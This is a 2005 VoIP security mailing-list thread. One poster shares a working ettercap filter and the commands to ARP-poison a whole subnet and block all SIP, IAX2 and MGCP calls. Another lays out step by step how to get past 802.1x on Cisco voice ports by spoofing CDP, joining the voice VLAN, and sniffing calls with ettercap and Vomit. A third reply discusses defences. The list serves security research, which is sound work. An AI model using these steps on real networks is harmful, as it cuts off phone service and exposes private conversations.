[VOIPSEC] VoIP Blocking Filter w/Ettercap

[Welsh, Ed]

I do not believe there are any phones with 802.1x supplicants.  Wrong?  

Crafting CDP packets will scoot you around 802.1x and into the voice network on cisco 802.1x enabled
ports.  That is how the phones "register" with the switch and bypass 802.1x.

Once that is done, run ettercap arp poisoning and vomit to get the goods.

I created a Perl script that automates the whole thing, but can't share it for certain reasons.

The gist is this:

Plug into a voice enabled 802.1x secured port.
Boot into a Knoppix or The Auditor Collection CD.
Throw the right CDP packet on the wire to register machine as a phone.(use the CDP tool)
Sniff the dot1q packets to get the vlan name.
Use dot1q linux module to create a trunk and virtual interface on the voice vlan.
Run Ettercap poisoning.
Run Vomit.
Send CDP packets every so often to keep the registration.

802.1x will never bother you.

We released the advisory.  Google "voip cisco 802.1x" to find it.

EW


-----Original Message-----
From: Credland, Jim [mailto:jim.credland at thus.net] 
Sent: Wednesday, July 13, 2005 9:32 AM
To: Natas; Voipsec at voipsa.org
Subject: RE: [VOIPSEC] VoIP Blocking Filter w/Ettercap

Protecting a network to which people have physical access is tricky.
Ettercap is a scary reminder of how easy it is to intercept/reroute and generally ethernet segments.
If you've got a test network to try a man in the middle attack on using ettercap it's well worth it
for the amusement value alone. 

In an enterprise environment requiring a high standard of VoIP security I'd definitely be considering
something like 802.1x port authentication to reduce the risk from someone connecting a PC to the VoIP
vLAN, and if it was readily available encryption of the voice and switching traffic. 

Much of the documentation on VoIP Security seems to skip over these kinds of problems, the NIST
documents solution is use encryption, authentication and public keys.  This does little about
denial-of-service and has the lack of
support for these kinds of features in many implementations.   The Cisco
VoIP security document used to suggests you don't let anyone bad near your switch - but I've noticed a
new document on their site listing a whole load of layer 2 security features - see
http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/networking_solutions_whi
te_paper0900aecd80240249.shtml - in the layer 2 defenses section.  I'd be interested - if you test
switch has these features - in whether or not you can cause much distruption with these features
enabled. 

I think I saw a tool for listening to intercepted RTP streams but I forget what it's called? 

Luckly once you get out of your LAN environment to a central server or carrier environment where there
are strong physical access controls then this kind of security becomes less critical and other
problems raise their heads instead. 

jim.credland at thus.net
Security Consultant
 

> -----Original Message-----
> From: Natas [mailto:natas05 at gmail.com]
> Sent: 13 July 2005 02:09
> To: Voipsec at voipsa.org
> Subject: [VOIPSEC] VoIP Blocking Filter w/Ettercap
> 
> After playing around with ettercap and its filter program, 
> etterfilter, I realized how easy it would be to ARP poison a network 
> and block all VoIP packets from passing through.
> While packet manipulation obviously isn't new, and the root of the 
> problem comes from the ease of ARP poisoning, I was still kind of 
> shocked at how easy an attack like this could be pulled off in a real 
> world scenario.
> A simple ettercap filter can be used to block all SIP, IAX2 and MGCP 
> traffic, stopping any possible communication across a network segment, 
> but letting other traffic properly pass through. Below is a basic 
> filter I wrote up for this list.
> 
> 
> # blockvoip.filter
> # Proof of concept VoIP blocking filter # By Natas # Instructions:
> # Run "etterfilter blockvoip.filter -o blockvoip.ef"
> # Then "ettercap -T -q -F blockvoip.ef -M ARP /10.1.1.1-254/ //"
> 
> if (ip.proto == UDP && udp.src == 4569) {
>     msg("Killed Attempted IAX2 Connection.\n");
>     drop();
>     kill();
> }
> 
> if (ip.proto == UDP && udp.src == 5060) {
>     msg("Killed Attempted SIP Connection.\n");
>     drop();
>     kill();
> }
> 
> if (ip.proto == UDP && udp.src == 2427) {
>     msg("Killed Attempted MGCP Connection.\n");
>     drop();
>     kill();
> }
> 
> # Don't know to much about MGCP Call Agent traffic but # I put it in 
> here for the hell of it.
> if (ip.proto == UDP && udp.src == 2727) {
>     msg("Killed Attempted MGCP Call Agent Connection.\n");
>     drop();
>     kill();
> }
> 
> # End.
> 
> Obviously this is just a simple example and could easily be expanded 
> to ensure that no VoIP traffic whatsoever passes through.
> 
> I'm not sure how everyone here will feel about this little example but 
> I wanted to put it out there for everyone to see.
> I have some other VoIP packet manipulation ideas that I am playing 
> around with.
> 
> I enjoy the VoIPSA mailing list very much and like reading every ones 
> posts and concerns. If you would like to talk off the list, feel free 
> to email me or contact me at 206-338-3337.
> 
> Natas
> 
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
> 

_______________________________________________
Voipsec mailing list
Voipsec at voipsa.org
http://voipsa.org/mailman/listinfo/voipsec_voipsa.org



The information transmitted in this e-mail is intended only for the addressee and may contain confidential and/or privileged material. 
Any interception, review, retransmission, dissemination, or other use of, or taking of any action upon this information by persons or entities
other than the intended recipient is prohibited by law and may subject them to criminal or civil liability. If you received this communication 
in error, please contact us immediately at 816.421.6611, and delete the communication from any computer or network system.